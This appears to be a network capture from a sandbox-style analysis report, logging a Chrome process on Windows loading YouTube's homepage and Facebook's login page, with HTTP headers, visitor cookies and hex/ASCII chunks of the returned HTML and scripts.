2024-01-17 23:34:36 UTC	1223	OUT	GET / HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __Secure-YEC=CgtiU1BPUHlZdVg5ZyiLyKGtBjIKCgJERRIEEgAgRQ%3D%3D; VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538
2024-01-17 23:34:36 UTC	3679	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:34:36 GMT X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Origin-Trial: AvC9UlR6RDk2crliDsFl66RWLnTbHrDbp+DiY6AYz/PNQ4G4tdUTjrHYr2sghbkhGQAVxb7jaPTHpEVBz0uzQwkAAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTcxOTUzMjc5OSwiaXNTdWJkb21haW4iOnRydWV9 P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF X-XSS-Protection: 0 Set-Cookie: YSC=PimaRvbjoFM; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none Set-Cookie: LOGIN_INFO=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:36 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=www.youtube.com; Expires=Thu, 22-Apr-2021 23:34:36 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=.www.youtube.com; Expires=Thu, 22-Apr-2021 23:34:36 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=m.youtube.com; Expires=Thu, 22-Apr-2021 23:34:36 GMT; Path=/; Secure; HttpOnly Set-Cookie: LOGIN_INFO=; Domain=.m.youtube.com; Expires=Thu, 22-Apr-2021 23:34:36 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:36 GMT; Path=/; Secure; HttpOnly Set-Cookie: SID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:36 GMT; Path=/; Secure; HttpOnly Set-Cookie: HSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:36 GMT; Path=/; Secure; HttpOnly Set-Cookie: SSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:36 GMT; Path=/; Secure; HttpOnly Set-Cookie: APISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:36 GMT; Path=/; Secure; HttpOnly Set-Cookie: SAPISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:36 GMT; Path=/; Secure; HttpOnly Set-Cookie: __Secure-1PSID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:36 GMT; Path=/; Secure; HttpOnly Set-Cookie: __Secure-1PAPISID=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:36 GMT; Path=/; Secure; HttpOnly Set-Cookie: __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D; Domain=.youtube.com; Expires=Sat, 15-Feb-2025 23:34:34 GMT; Path=/; Secure; HttpOnly; SameSite=lax Set-Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; Domain=.youtube.com; Expires=Sat, 15-Feb-2025 23:34:36 GMT; Path=/; Secure; HttpOnly; SameSite=lax Set-Cookie: VISITOR_INFO1_LIVE=; Domain=.youtube.com; Expires=Thu, 22-Apr-2021 23:34:36 GMT; Path=/; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:34:36 UTC	3679	IN	Data Raw: 32 35 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 61 72 6b 65 72 2d 64 61 72 6b 2d 74 68 65 6d 65 20 64 61 72 6b 65 72 2d 64 61 72 6b 2d 74 68 65 6d 65 2d 64 65 70 72 65 63 61 74 65 20 73 79 73 74 65 6d 2d 69 63 6f 6e 73 20 74 79 70 6f 67 72 61 70 68 79 20 74 79 70 6f 67 72 61 70 68 79 2d 73 70 61 63 69 6e 67 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 64 61 74 61 2d 69 64 3d 22 5f 67 64 22 20 6e 6f 6e 63 65 3d 22 46 73 66 56 52 38 4b 52 5f 33 56 31 45 35 50 4a 4c 2d 73 70 33 67 22 3e 77 69 6e 64 6f 77 Data Ascii: 2537<!DOCTYPE html><html style="font-size: 10px;font-family: Roboto, Arial, sans-serif;" lang="en" darker-dark-theme darker-dark-theme-deprecate system-icons typography typography-spacing><head><script data-id="_gd" nonce="FsfVR8KR_3V1E5PJL-sp3g">window
2024-01-17 23:34:36 UTC	3679	IN	Data Raw: 6f 6e 66 69 67 29 7b 69 66 28 21 6f 72 69 67 50 6f 6c 79 6d 65 72 2e 5f 79 74 49 6e 74 65 72 63 65 70 74 65 64 26 26 77 69 6e 64 6f 77 5b 22 50 6f 6c 79 6d 65 72 22 5d 2e 42 61 73 65 29 7b 6f 72 69 67 50 6f 6c 79 6d 65 72 2e 5f 79 74 49 6e 74 65 72 63 65 70 74 65 64 3d 74 72 75 65 3b 77 69 6e 64 6f 77 5b 22 50 6f 6c 79 6d 65 72 22 5d 2e 42 61 73 65 2e 5f 67 65 74 45 78 74 65 6e 64 65 64 4e 61 74 69 76 65 50 72 6f 74 6f 74 79 70 65 3d 5f 67 65 74 45 78 74 65 6e 64 65 64 4e 61 74 69 76 65 50 72 6f 74 6f 74 79 70 65 3b 77 69 6e 64 6f 77 5b 22 50 6f 6c 79 6d 65 72 22 5d 2e 42 61 73 65 2e 5f 65 72 72 6f 72 3d 68 61 6e 64 6c 65 50 6f 6c 79 6d 65 72 45 72 72 6f 72 3b 77 69 6e 64 6f 77 5b 22 50 6f 6c 79 6d 65 72 22 5d 2e 42 61 73 65 2e 5f 77 61 72 6e 3d 68 61 6e Data Ascii: onfig){if(!origPolymer._ytIntercepted&&window["Polymer"].Base){origPolymer._ytIntercepted=true;window["Polymer"].Base._getExtendedNativePrototype=_getExtendedNativePrototype;window["Polymer"].Base._error=handlePolymerError;window["Polymer"].Base._warn=han
2024-01-17 23:34:36 UTC	2177	IN	Data Raw: 65 7d 7d 63 61 74 63 68 28 65 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 65 3b 7d 29 7d 69 66 28 21 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 29 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 76 61 72 20 75 61 3d 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 3b 72 65 74 75 72 6e 20 75 61 2e 69 6e 64 65 78 4f 66 28 22 47 65 63 6b 6f 22 29 3e 30 26 26 75 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 22 77 65 62 6b 69 74 22 29 3c 30 26 26 75 61 2e 69 6e 64 65 78 4f 66 28 22 45 64 67 65 22 29 3c 0a 30 26 26 75 61 2e 69 6e 64 65 78 4f 66 28 22 54 72 69 64 65 6e 74 22 29 3c 30 26 26 75 61 2e 69 6e 64 65 78 4f 66 28 22 4d 53 49 45 22 29 3c 30 7d 79 74 63 73 69 Data Ascii: e}}catch(e){setTimeout(function(){throw e;})}if(!w.navigator.userAgent)return false;var ua=w.navigator.userAgent;return ua.indexOf("Gecko")>0&&ua.toLowerCase().indexOf("webkit")<0&&ua.indexOf("Edge")<0&&ua.indexOf("Trident")<0&&ua.indexOf("MSIE")<0}ytcsi
2024-01-17 23:34:36 UTC	1252	IN	Data Raw: 38 30 30 30 0d 0a 7b 22 43 4c 49 45 4e 54 5f 43 41 4e 41 52 59 5f 53 54 41 54 45 22 3a 22 6e 6f 6e 65 22 2c 22 44 45 56 49 43 45 22 3a 22 63 62 72 5c 75 30 30 33 64 43 68 72 6f 6d 65 5c 75 30 30 32 36 63 62 72 76 65 72 5c 75 30 30 33 64 31 31 37 2e 30 2e 30 2e 30 5c 75 30 30 32 36 63 65 6e 67 5c 75 30 30 33 64 57 65 62 4b 69 74 5c 75 30 30 32 36 63 65 6e 67 76 65 72 5c 75 30 30 33 64 35 33 37 2e 33 36 5c 75 30 30 32 36 63 6f 73 5c 75 30 30 33 64 57 69 6e 64 6f 77 73 5c 75 30 30 32 36 63 6f 73 76 65 72 5c 75 30 30 33 64 31 30 2e 30 5c 75 30 30 32 36 63 70 6c 61 74 66 6f 72 6d 5c 75 30 30 33 64 44 45 53 4b 54 4f 50 22 2c 22 44 49 53 41 42 4c 45 5f 59 54 5f 49 4d 47 5f 44 45 4c 41 59 5f 4c 4f 41 44 49 4e 47 22 3a 66 61 6c 73 65 2c 22 45 4c 45 4d 45 4e 54 5f Data Ascii: 8000{"CLIENT_CANARY_STATE":"none","DEVICE":"cbr\u003dChrome\u0026cbrver\u003d117.0.0.0\u0026ceng\u003dWebKit\u0026cengver\u003d537.36\u0026cos\u003dWindows\u0026cosver\u003d10.0\u0026cplatform\u003dDESKTOP","DISABLE_YT_IMG_DELAY_LOADING":false,"ELEMENT_
2024-01-17 23:34:36 UTC	1252	IN	Data Raw: 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 61 64 64 5f 74 6f 5f 70 6c 61 79 6c 69 73 74 5f 72 65 6e 64 65 72 65 72 5f 64 69 61 6c 6f 67 5f 70 6f 70 75 70 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 61 6e 69 6d 61 74 65 5f 6d 69 6e 69 70 6c 61 79 65 72 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 63 6c 69 65 6e 74 5f 72 65 6c 65 61 73 65 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 64 65 6c 61 79 5f 70 6c 61 79 65 72 5f 72 65 73 69 7a 69 6e 67 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 65 6e 61 62 6c 65 5f 64 6d 70 61 6e 65 6c 5f 63 6c 69 63 6b 5f 64 72 61 67 5f 73 63 72 6f 6c 6c 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 65 6e 61 62 6c 65 5f 64 6d 70 61 6e 65 6c 5f 73 63 72 6f 6c 6c 22 3a 74 72 75 65 2c 22 64 65 73 6b 74 6f 70 5f 65 6e Data Ascii: true,"desktop_add_to_playlist_renderer_dialog_popup":true,"desktop_animate_miniplayer":true,"desktop_client_release":true,"desktop_delay_player_resizing":true,"desktop_enable_dmpanel_click_drag_scroll":true,"desktop_enable_dmpanel_scroll":true,"desktop_en
2024-01-17 23:34:36 UTC	1252	IN	Data Raw: 72 75 65 2c 22 65 6d 62 65 64 73 5f 77 65 62 5f 6e 77 6c 5f 64 69 73 61 62 6c 65 5f 6e 6f 63 6f 6f 6b 69 65 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 61 62 5f 72 65 70 6f 72 74 5f 6f 6e 5f 65 72 72 6f 72 73 63 72 65 65 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 61 62 5f 72 70 5f 69 6e 74 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 61 64 73 5f 77 65 62 5f 65 70 5f 62 75 65 6e 6f 73 5f 61 69 72 65 73 5f 61 6e 64 5f 70 61 64 64 69 6e 67 5f 66 69 78 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 62 75 65 6e 6f 73 5f 61 69 72 65 73 5f 74 79 70 6f 67 72 61 70 68 79 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 62 75 74 74 6f 6e 5f 62 65 68 61 76 69 6f 72 5f 72 65 75 73 65 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 63 61 6c 6c 5f 74 6f 5f 61 63 74 69 6f Data Ascii: rue,"embeds_web_nwl_disable_nocookie":true,"enable_ab_report_on_errorscreen":true,"enable_ab_rp_int":true,"enable_ads_web_ep_buenos_aires_and_padding_fix":true,"enable_buenos_aires_typography":true,"enable_button_behavior_reuse":true,"enable_call_to_actio
2024-01-17 23:34:36 UTC	1252	IN	Data Raw: 6c 65 73 5f 69 6e 5f 6d 65 6e 74 69 6f 6e 5f 73 75 67 67 65 73 74 5f 70 6f 73 74 73 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 68 69 67 68 5f 66 72 65 71 75 65 6e 63 79 5f 63 6f 6f 6b 69 65 5f 72 6f 74 61 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 68 6c 70 5f 63 6c 69 65 6e 74 5f 69 63 6f 6e 5f 70 69 63 6b 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 64 65 6e 74 69 74 79 5f 61 74 74 72 69 62 75 74 65 73 5f 66 6f 72 5f 6c 69 76 65 5f 63 68 61 74 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 6d 61 67 65 5f 70 6f 6c 6c 5f 70 6f 73 74 5f 63 72 65 61 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 6e 6c 69 6e 65 5f 73 68 6f 72 74 73 5f 6f 6e 5f 77 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 69 6e 74 65 72 73 74 69 74 69 61 Data Ascii: les_in_mention_suggest_posts":true,"enable_high_frequency_cookie_rotation":true,"enable_hlp_client_icon_pick":true,"enable_identity_attributes_for_live_chat":true,"enable_image_poll_post_creation":true,"enable_inline_shorts_on_wn":true,"enable_interstitia
2024-01-17 23:34:36 UTC	1252	IN	Data Raw: 61 62 6c 65 5f 70 6c 61 79 61 62 6c 65 73 5f 6f 6e 5f 6d 77 65 62 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6c 61 79 61 62 6c 65 73 5f 75 72 6c 5f 72 65 73 6f 6c 75 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6c 61 79 65 72 5f 70 61 72 61 6d 5f 74 72 75 6e 63 61 74 69 6f 6e 5f 62 65 66 6f 72 65 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 6f 6e 5f 77 65 62 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 6c 6c 5f 63 68 6f 69 63 65 5f 62 6f 72 64 65 72 5f 6f 6e 5f 77 65 62 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 6c 79 6d 65 72 5f 72 65 73 69 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 6c 79 6d 65 72 5f 72 65 73 69 6e 5f 6d 69 67 72 61 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 70 6f 70 75 6c 61 74 65 5f 61 Data Ascii: able_playables_on_mweb":true,"enable_playables_url_resolution":true,"enable_player_param_truncation_before_navigation_on_web":true,"enable_poll_choice_border_on_web":true,"enable_polymer_resin":true,"enable_polymer_resin_migration":true,"enable_populate_a
2024-01-17 23:34:36 UTC	1252	IN	Data Raw: 61 6e 6e 65 6c 5f 77 65 62 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 68 6f 77 69 6e 67 5f 67 65 6e 72 65 5f 64 61 74 61 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 69 67 6e 61 6c 73 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 6b 69 70 5f 61 64 5f 67 75 69 64 61 6e 63 65 5f 70 72 6f 6d 70 74 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 6b 69 70 70 61 62 6c 65 5f 61 64 73 5f 66 6f 72 5f 75 6e 70 6c 75 67 67 65 64 5f 61 64 5f 70 6f 64 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 6d 65 61 72 69 6e 67 5f 65 78 70 61 6e 73 69 6f 6e 5f 64 61 69 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 70 61 72 6b 6c 65 73 5f 77 65 62 5f 63 6c 69 63 6b 61 62 6c 65 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 74 72 75 65 2c 22 65 6e 61 62 6c 65 5f 73 71 75 Data Ascii: annel_web":true,"enable_showing_genre_data":true,"enable_signals":true,"enable_skip_ad_guidance_prompt":true,"enable_skippable_ads_for_unplugged_ad_pod":true,"enable_smearing_expansion_dai":true,"enable_sparkles_web_clickable_description":true,"enable_squ
2024-01-17 23:34:36 UTC	1252	IN	Data Raw: 6c 65 5f 79 74 63 5f 73 65 6c 66 5f 73 65 72 76 65 5f 72 65 66 75 6e 64 73 22 3a 74 72 75 65 2c 22 65 6e 64 70 6f 69 6e 74 5f 68 61 6e 64 6c 65 72 5f 6c 6f 67 67 69 6e 67 5f 63 6c 65 61 6e 75 70 5f 6b 69 6c 6c 73 77 69 74 63 68 22 3a 74 72 75 65 2c 22 65 72 72 5f 6f 6e 5f 70 6c 5f 72 5f 63 22 3a 74 72 75 65 2c 22 65 78 70 6f 72 74 5f 6e 65 74 77 6f 72 6b 6c 65 73 73 5f 6f 70 74 69 6f 6e 73 22 3a 74 72 75 65 2c 22 65 78 74 65 72 6e 61 6c 5f 66 75 6c 6c 73 63 72 65 65 6e 22 3a 74 72 75 65 2c 22 65 78 74 65 72 6e 61 6c 5f 66 75 6c 6c 73 63 72 65 65 6e 5f 77 69 74 68 5f 65 64 75 22 3a 74 72 75 65 2c 22 66 65 74 63 68 5f 62 69 64 5f 66 6f 72 5f 64 63 6c 6b 5f 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 66 69 6c 6c 5f 6e 6f 5f 68 69 73 74 6f 72 79 5f 75 73 65 72 Data Ascii: le_ytc_self_serve_refunds":true,"endpoint_handler_logging_cleanup_killswitch":true,"err_on_pl_r_c":true,"export_networkless_options":true,"external_fullscreen":true,"external_fullscreen_with_edu":true,"fetch_bid_for_dclk_status":true,"fill_no_history_user

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49719	157.240.241.35	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:36 UTC	761	OUT	GET /login HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: fr=0BIGGuZwPUjIULfOD..BlqGQK.EX.AAA.0.0.BlqGQK.AWXxDbWyb4A; sb=CmSoZXuzKcF1rAq_PIc_YoJb
2024-01-17 23:34:36 UTC	471	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Set-Cookie: fr=0BIGGuZwPUjIULfOD..BlqGQK.-A.AAA.0.0.BlqGQM.AWXfYTWBBsg; expires=Tue, 16-Apr-2024 23:34:36 GMT; Max-Age=7776000; path=/; domain=.facebook.com; secure; httponly; SameSite=None reporting-endpoints: default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown" report-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}
2024-01-17 23:34:36 UTC	2520	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 2a 2e 67 6f 6f 67 6c 65 2d 61 6e 61 6c 79 74 69 63 73 2e 63 6f 6d 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net .google-analytics.com .google.com 127.0.0.1:* 'unsafe-inline' blob:
2024-01-17 23:34:36 UTC	260	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 0d 0a 58 2d 46 42 2d 44 65 62 75 67 3a 20 62 41 47 5a 55 32 37 78 35 48 57 6c 53 4b 52 55 42 75 6d 6f 53 76 58 75 7a 43 38 57 6a 71 53 63 44 71 6a 5a 61 72 2f 4b 66 58 59 41 53 74 7a 46 2f 33 39 4e 44 39 44 47 67 76 39 32 75 4a 57 6e 6d 6a 61 31 4a 52 77 32 36 53 78 6f 48 73 65 5a 35 37 70 6c 47 41 3d 3d 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 31 37 20 4a 61 6e 20 32 30 32 34 20 32 33 3a 33 34 3a 33 36 20 47 4d 54 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 41 6c 74 2d 53 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 Data Ascii: Content-Type: text/html; charset="utf-8"X-FB-Debug: bAGZU27x5HWlSKRUBumoSvXuzC8WjqScDqjZar/KfXYAStzF/39ND9DGgv92uJWnmja1JRw26SxoHseZ57plGA==Date: Wed, 17 Jan 2024 23:34:36 GMTTransfer-Encoding: chunkedAlt-Svc: h3=":443"; ma=86400Connection: clos
2024-01-17 23:34:36 UTC	1249	IN	Data Raw: 64 35 66 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 6f 72 69 67 69 6e 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 70 61 51 38 31 56 47 37 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 Data Ascii: d5fb<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" content="origin-when-crossorigin" id="meta_referrer" /><script nonce="paQ81VG7">function envFlush(a){function b(b){for(var c in a)b[c]=a
2024-01-17 23:34:36 UTC	1500	IN	Data Raw: 74 61 72 74 20 73 68 61 72 69 6e 67 20 61 6e 64 20 63 6f 6e 6e 65 63 74 69 6e 67 20 77 69 74 68 20 79 6f 75 72 20 66 72 69 65 6e 64 73 2c 20 66 61 6d 69 6c 79 2c 20 61 6e 64 20 70 65 6f 70 6c 65 20 79 6f 75 20 6b 6e 6f 77 2e 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 63 65 62 6f 6f 6b 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 75 72 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 6f 67 69 6e 22 20 2f 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 63 61 Data Ascii: tart sharing and connecting with your friends, family, and people you know." /><meta property="og:site_name" content="Facebook" /><meta property="og:url" content="https://www.facebook.com/login" /><meta property="og:locale" content="en_US" /><link rel="ca
